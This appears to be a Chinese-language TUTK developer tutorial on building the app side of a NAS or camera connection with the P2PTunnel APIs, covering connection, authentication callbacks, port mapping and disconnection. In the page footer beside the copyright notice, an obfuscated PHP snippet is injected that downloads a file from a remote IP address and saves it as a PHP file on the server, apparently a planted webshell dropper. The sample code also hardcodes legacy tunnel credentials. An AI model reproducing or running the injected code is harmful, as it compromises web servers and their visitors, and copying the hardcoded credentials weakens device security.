简体中文

基于P2PTunnelAPIs和TCPIP协议开发NAS(或者摄像头)-APP端

导语

TUTK提供的P2PTunnel服务,类似于vpn服务。P2PTunnel服务启动后,将通过TUTK的私有协议,将上层传入的数据转发到对端,而且不需要知道对端的IP。

P2PTunnel模块,可以内嵌至厂商的程序内,也可以独立做成一个模块。对于一些基于TCP/IP的标准或者私有服务,比如http、ssh、ftp、telnet、rtsp,只需要简单几行代码,就可以完成接入。

P2PTunnel模块工作示意图

image.png

P2PTunnelAgent使用流程图

截图.png

例子代码分析

Agent的初始化:

ret = TUTK_SDK_Set_License_Key(sdk_license_key) //设定SDK license key
if (ret != TUTK_ER_NoERROR) {
    printf("TUTK_SDK_Set_License_Key() error[%d]\n", ret);
    return -1;
}
#if _USE_SDK_VERSION_BELOW_4_3_5_0_
ret = P2PTunnelAgentInitialize(MAX_SERVER_CONNECT_NUM); //p2ptunnel模块初始化,参数为最大连接数,一个设备为一路连接
if (ret != TUTK_ER_NoERROR) {
    printf("P2PTunnelAgentInitialize() error[%d]\n", ret);
    return -1;
}
#else
ret = P2PTunnelAgentInitialize2(MAX_SERVER_CONNECT_NUM,1); //p2ptunnel模块初始化,参数为最大连接数,一个设备为一路连接,第二个参数填1表示打开局域网直连,可以大幅提升局域网模式的速度(需注意这种模式局域网内将不做加密,且设备端需同时设定为1,开启直连模式)。
if (ret != TUTK_ER_NoERROR) {
    printf("P2PTunnelAgentInitialize() error[%d]\n", ret);
    return -1;
}
#endif

P2PTunnelAgent_GetStatus(TunnelStatusCB, (void *)args); //注册回调函数,会话状态会在TunnelStatusCB里面回调出来
Agent的初始化,只需要在app一打开调用一次。

开始P2P连线:

int ret = P2PTunnelAgent_Connect_Ex(info->uid, TunnelClientAuthentication, info);
if (ret == TUNNEL_ER_REMOTE_NOT_SUPPORT_DTLS) {
    printf("Remote P2PTunnel is old version, try P2PTunnelAgent_Connect()\n");
    sAuthData authData = {.szUsername = {0}, .szPassword = {0}};
    int nErrFromDeviceCB = 0;
    strcpy(authData.szUsername, "Tutk.com");
    strcpy(authData.szPassword, "P2P Platform");
    
    ret = P2PTunnelAgent_Connect(info->uid, (void *)&authData, sizeof(sAuthData), &nErrFromDeviceCB);
    printf("P2PTunnelAgent_Connect UID[%s] nErrFromDeviceCB[%d]\n", info->uid, nErrFromDeviceCB);
}
P2PTunnelAgent_Connect_Ex里面填入的参数分别为设备端的UID,密码回调函数,以及用户自定义消息,连线成功,将返回本次连接的会话ID(即SID):
void TunnelClientAuthentication(char *cszAccount, uint32_t nAccountMaxLength, char *cszPassword, uint32_t nPasswordMaxLength, const void *pArg) {
    sTunnelInfo *info = (sTunnelInfo *)pArg;
    //可根据info来区分不同设备。
    printf("[%s] nAccountMaxLength=%d, nPasswordMaxLength=%d, UID=%s\n", __func__, nAccountMaxLength, nPasswordMaxLength, info->uid);
    strcpy(cszAccount, TUNNEL_USERNAME);
    strcpy(cszPassword, TUNNEL_PASSWORD);
}
对于不同的设备,通常可能会有不同的密码,在回调里面,如果给不同的设备,传入不同的密码呢?
答案就是在P2PTunnelAgent_Connect_Ex里面传入设备的UID,然后在TunnelClientAuthentication里面根据用户自定义信息区分设备。

端口映射:

端口映射,即将本地的一个端口,与远程设备监听的端口做绑定,然后agent直接访问本地端口,来访问远程端口。
int nWebIndex = P2PTunnelAgent_PortMapping(SID, local_port, remote_port);
if (nWebIndex < 0) {
    printf("P2PTunnelAgent_PortMapping  failed,sid = %d,local port->%d,remote port->%d\n",SID,local_port,remote_port);
} else {
    printf("P2PTunnelAgent_PortMapping  successfully,sid = %d,local port->%d,remote port->%d\n",SID,local_port,remote_port);
}
端口映射是非常重要的一步,这一步完成,可以让客户端以本地访问的方式去访问远程设备。
在端口映射成功后,客户端如何去访问远程设备呢?
具体过程可以参考:
如何访问sftp服务器: [实验]如何基于P2PTunnelAPIs+ssh搭建一个轻NAS?
如何访问http服务器:[实验]如何基于P2PTunnelAPIs+http搭建一个流媒体服务器
需要断开与设备的连线时,应该怎么做呢?

解除映射:

解除端口映射是非常重要以及需要谨慎的,一旦端口没有解除映射,后续端口一直会被占用,导致端口没法再次使用。
P2PTunnelAgent_StopPortMapping(nWebIndex); //解除端口映射
也可以使用P2PTunnelAgent_StopPortMapping_byIndexArray(index_array)对多个index进行解绑。

断开连线:

有两种方式,任选其一。

方法1:
P2PTunnelAgent_Disconnect(SID);//这种方式需要等数据送出,再断开连接。

方法2:
P2PTunnelAgent_Abort(SID);//这种方式不等数据送出,直接断开连接。

Agent的反初始化:

P2PTunnelAgentDeInitialize();
Agent的反始化,只需要在app退出时调用一次。

FAQ:

1、如果本地端口被占用了,该如何处理?
换个本地端口就行了。
2、如果agent需要连接多个设备,该如何区分不同的设备?
用不同的本地端口区分,比如有3个设备在监听80端口,agent可以分别用10001,10002,10003去映射这3个设备的80端口,然后分别访问10001,10002,10003来访问这3个设备。
3、P2PTunnelAPIs可以使用IOTCAPIs的API吗?
可以,参数为SID。
4、P2PTunnelAPIs可以与其他模块(AV、RDT)一起使用吗?
可以,但是会比较复杂,通常不建议一起用。
其他文章:
概论:引导
API比较:API比较
局域网设备搜索:基于IOTCAPIs的局域网设备搜索


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部